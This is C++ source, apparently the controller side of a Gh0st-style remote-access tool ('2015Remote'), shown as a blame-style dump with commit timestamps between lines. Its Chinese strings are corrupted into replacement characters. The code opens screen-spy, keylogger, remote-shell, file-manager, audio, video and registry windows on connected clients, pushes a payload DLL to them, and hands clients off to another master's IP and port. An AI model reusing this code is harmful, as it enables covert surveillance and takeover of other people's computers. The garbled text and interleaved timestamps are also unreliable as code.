Mprintf ( " [ERROR] OnUserToOnlineList catch an error \n " ) ;
2021-03-14 20:55:22 +08:00
}
2019-01-05 20:21:43 +08:00
return - 1 ;
}
LRESULT CMy2015RemoteDlg : : OnUserOfflineMsg ( WPARAM wParam , LPARAM lParam )
{
2025-04-27 01:16:16 +08:00
Mprintf ( " ======> OnUserOfflineMsg \n " ) ;
2019-01-05 20:21:43 +08:00
CString ip , port ;
port . Format ( " %d " , lParam ) ;
EnterCriticalSection ( & m_cs ) ;
int n = m_CList_Online . GetItemCount ( ) ;
for ( int i = 0 ; i < n ; + + i )
{
CString cur = m_CList_Online . GetItemText ( i , ONLINELIST_ADDR ) ;
if ( cur = = port )
{
ip = m_CList_Online . GetItemText ( i , ONLINELIST_IP ) ;
m_CList_Online . DeleteItem ( i ) ;
ShowMessage ( true , ip + " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
break ;
}
}
LeaveCriticalSection ( & m_cs ) ;
dlgInfo * p = ( dlgInfo * ) wParam ;
2019-01-17 11:58:26 +08:00
if ( p )
2019-01-05 20:21:43 +08:00
{
switch ( p - > v1 )
{
2019-01-15 21:48:37 +08:00
case TALK_DLG :
{
CTalkDlg * Dlg = ( CTalkDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
2019-01-05 20:21:43 +08:00
case VIDEO_DLG :
{
CVideoDlg * Dlg = ( CVideoDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
case SERVICES_DLG :
{
CServicesDlg * Dlg = ( CServicesDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
case AUDIO_DLG :
{
CAudioDlg * Dlg = ( CAudioDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
case SYSTEM_DLG :
{
CSystemDlg * Dlg = ( CSystemDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
case SHELL_DLG :
{
CShellDlg * Dlg = ( CShellDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
case SCREENSPY_DLG :
{
CScreenSpyDlg * Dlg = ( CScreenSpyDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
case FILEMANAGER_DLG :
{
CFileManagerDlg * Dlg = ( CFileManagerDlg * ) p - > hDlg ;
2021-03-14 12:15:53 +08:00
delete Dlg ;
2019-01-05 20:21:43 +08:00
break ;
}
case REGISTER_DLG :
{
CRegisterDlg * Dlg = ( CRegisterDlg * ) p - > hDlg ;
2025-02-25 03:43:15 +08:00
delete Dlg ; //<2F> <> <EFBFBD> <EFBFBD> <E2B4A6>
2019-01-05 20:21:43 +08:00
break ;
}
2025-01-31 22:22:16 +08:00
case KEYBOARD_DLG :
{
CKeyBoardDlg * Dlg = ( CKeyBoardDlg * ) p - > hDlg ;
delete Dlg ;
break ;
}
2019-01-17 11:58:26 +08:00
default : break ;
2019-01-05 20:21:43 +08:00
}
delete p ;
2019-01-17 11:58:26 +08:00
p = NULL ;
2019-01-05 20:21:43 +08:00
}
return S_OK ;
}
2025-04-07 18:18:36 +08:00
void CMy2015RemoteDlg : : UpdateActiveWindow ( CONTEXT_OBJECT * ctx ) {
Heartbeat hb ;
ctx - > InDeCompressedBuffer . CopyBuffer ( & hb , sizeof ( Heartbeat ) , 1 ) ;
// <20> ظ<EFBFBD> <D8B8> <EFBFBD> <EFBFBD> <EFBFBD>
{
HeartbeatACK ack = { hb . Time } ;
BYTE buf [ sizeof ( HeartbeatACK ) + 1 ] = { CMD_HEARTBEAT_ACK } ;
memcpy ( buf + 1 , & ack , sizeof ( HeartbeatACK ) ) ;
m_iocpServer - > Send ( ctx , buf , sizeof ( buf ) ) ;
}
CLock L ( m_cs ) ;
int n = m_CList_Online . GetItemCount ( ) ;
DWORD_PTR cur = ( DWORD_PTR ) ctx ;
for ( int i = 0 ; i < n ; + + i ) {
DWORD_PTR id = m_CList_Online . GetItemData ( i ) ;
if ( id = = cur ) {
m_CList_Online . SetItemText ( i , ONLINELIST_LOGINTIME , hb . ActiveWnd ) ;
if ( hb . Ping > 0 )
m_CList_Online . SetItemText ( i , ONLINELIST_PING , std : : to_string ( hb . Ping ) . c_str ( ) ) ;
if ( m_settings . DetectSoftware )
m_CList_Online . SetItemText ( i , ONLINELIST_VIDEO , hb . HasSoftware ? " <EFBFBD> <EFBFBD> " : " <EFBFBD> <EFBFBD> " ) ;
return ;
}
}
}
void CMy2015RemoteDlg : : SendMasterSettings ( CONTEXT_OBJECT * ctx ) {
BYTE buf [ sizeof ( MasterSettings ) + 1 ] = { CMD_MASTERSETTING } ;
memcpy ( buf + 1 , & m_settings , sizeof ( MasterSettings ) ) ;
if ( ctx ) {
m_iocpServer - > Send ( ctx , buf , sizeof ( buf ) ) ;
}
else {
EnterCriticalSection ( & m_cs ) ;
for ( int i = 0 , n = m_CList_Online . GetItemCount ( ) ; i < n ; + + i )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) m_CList_Online . GetItemData ( i ) ;
m_iocpServer - > Send ( ContextObject , buf , sizeof ( buf ) ) ;
}
LeaveCriticalSection ( & m_cs ) ;
}
}
VOID CMy2015RemoteDlg : : SendServerDll ( CONTEXT_OBJECT * ContextObject , bool is64Bit ) {
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86 ;
auto buf = m_ServerDLL [ id ] ;
if ( buf - > length ( ) ) {
m_iocpServer - > OnClientPreSending ( ContextObject , buf - > Buf ( ) , buf - > length ( ) ) ;
}
}
2019-01-05 20:21:43 +08:00
LRESULT CMy2015RemoteDlg : : OnOpenScreenSpyDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
CScreenSpyDlg * Dlg = new CScreenSpyDlg ( this , m_iocpServer , ContextObject ) ; //Send s
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_SCREEN_SPY , GetDesktopWindow ( ) ) ;
2019-01-20 20:04:11 +08:00
Dlg - > ShowWindow ( SW_SHOWMAXIMIZED ) ;
2019-01-05 20:21:43 +08:00
ContextObject - > v1 = SCREENSPY_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenFileManagerDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CFileManagerDlg * Dlg = new CFileManagerDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
2019-01-06 21:18:26 +08:00
Dlg - > Create ( IDD_FILE , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
2019-01-05 20:21:43 +08:00
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = FILEMANAGER_DLG ;
ContextObject - > hDlg = Dlg ;
2019-01-11 21:40:11 +08:00
EnterCriticalSection ( & m_cs ) ;
2021-03-14 12:15:53 +08:00
/*
2019-01-11 21:40:11 +08:00
for ( std : : vector < CFileManagerDlg * > : : iterator iter = v_FileDlg . begin ( ) ;
iter ! = v_FileDlg . end ( ) ; )
{
CFileManagerDlg * cur = * iter ;
if ( cur - > m_bIsClosed )
{
delete cur ;
iter = v_FileDlg . erase ( iter ) ;
} else {
+ + iter ;
}
}
v_FileDlg . push_back ( Dlg ) ;
2021-03-14 12:15:53 +08:00
*/
2019-01-11 21:40:11 +08:00
LeaveCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenTalkDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CTalkDlg * Dlg = new CTalkDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_TALK , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = TALK_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenShellDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CShellDlg * Dlg = new CShellDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_SHELL , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = SHELL_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenSystemDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CSystemDlg * Dlg = new CSystemDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_SYSTEM , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = SYSTEM_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenAudioDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CAudioDlg * Dlg = new CAudioDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_AUDIO , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = AUDIO_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenServicesDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CServicesDlg * Dlg = new CServicesDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_SERVICES , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = SERVICES_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenRegisterDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CRegisterDlg * Dlg = new CRegisterDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_REGISTER , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = REGISTER_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
LRESULT CMy2015RemoteDlg : : OnOpenVideoDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
//ת<> <D7AA> CFileManagerDlg <20> <> <EFBFBD> 캯<EFBFBD> <ECBAAF>
CVideoDlg * Dlg = new CVideoDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DIALOG_VIDEO , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = VIDEO_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
2019-01-12 18:21:42 +08:00
2025-01-31 22:22:16 +08:00
LRESULT CMy2015RemoteDlg : : OnOpenKeyboardDialog ( WPARAM wParam , LPARAM lParam )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
CKeyBoardDlg * Dlg = new CKeyBoardDlg ( this , m_iocpServer , ContextObject ) ;
// <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<CEAA> <D7BF>
Dlg - > Create ( IDD_DLG_KEYBOARD , GetDesktopWindow ( ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Dlg
Dlg - > ShowWindow ( SW_SHOW ) ;
ContextObject - > v1 = KEYBOARD_DLG ;
ContextObject - > hDlg = Dlg ;
return 0 ;
}
2019-01-12 18:21:42 +08:00
BOOL CMy2015RemoteDlg : : OnHelpInfo ( HELPINFO * pHelpInfo )
{
2025-01-12 06:00:02 +08:00
MessageBox ( " Copyleft (c) FTU 2025 " , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
2019-01-12 18:21:42 +08:00
return TRUE ;
}
BOOL CMy2015RemoteDlg : : PreTranslateMessage ( MSG * pMsg )
{
if ( pMsg - > message = = WM_KEYDOWN & & pMsg - > wParam = = VK_RETURN )
{
return TRUE ;
}
return CDialogEx : : PreTranslateMessage ( pMsg ) ;
}
2025-04-15 21:37:01 +08:00
void CMy2015RemoteDlg : : OnOnlineShare ( )
{
CInputDialog dlg ( this ) ;
dlg . Init ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <IP:PORT><3E> <> ַ:" ) ;
if ( dlg . DoModal ( ) ! = IDOK | | dlg . m_str . IsEmpty ( ) )
return ;
if ( dlg . m_str . GetLength ( ) > = 250 ) {
MessageBox ( " <EFBFBD> ַ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ȳ<EFBFBD> <EFBFBD> <EFBFBD> [0, 250]<5D> <> Χ <EFBFBD> <CEA7> <EFBFBD> <EFBFBD> !" , " <EFBFBD> <EFBFBD> ʾ " , MB_ICONINFORMATION ) ;
return ;
}
if ( IDYES ! = MessageBox ( _T ( " ȷ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ѡ <EFBFBD> <EFBFBD> <EFBFBD> ı <EFBFBD> <EFBFBD> ؼ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ? \n Ŀǰֻ<EFBFBD> ܷ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͬ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> س<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " <EFBFBD> <EFBFBD> ʾ " ) , MB_ICONQUESTION | MB_YESNO ) )
return ;
BYTE bToken [ _MAX_PATH ] = { COMMAND_SHARE } ;
// Ŀ<> <C4BF> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
bToken [ 1 ] = SHARE_TYPE_YAMA ;
memcpy ( bToken + 2 , dlg . m_str , dlg . m_str . GetLength ( ) ) ;
SendSelectedCommand ( bToken , sizeof ( bToken ) ) ;
}
2025-04-20 21:24:31 +08:00
void CMy2015RemoteDlg : : OnToolAuth ( )
{
CPwdGenDlg dlg ;
std : : string hardwareID = getHardwareID ( ) ;
std : : string hashedID = hashSHA256 ( hardwareID ) ;
std : : string deviceID = getFixedLengthID ( hashedID ) ;
dlg . m_sDeviceID = deviceID . c_str ( ) ;
dlg . DoModal ( ) ;
}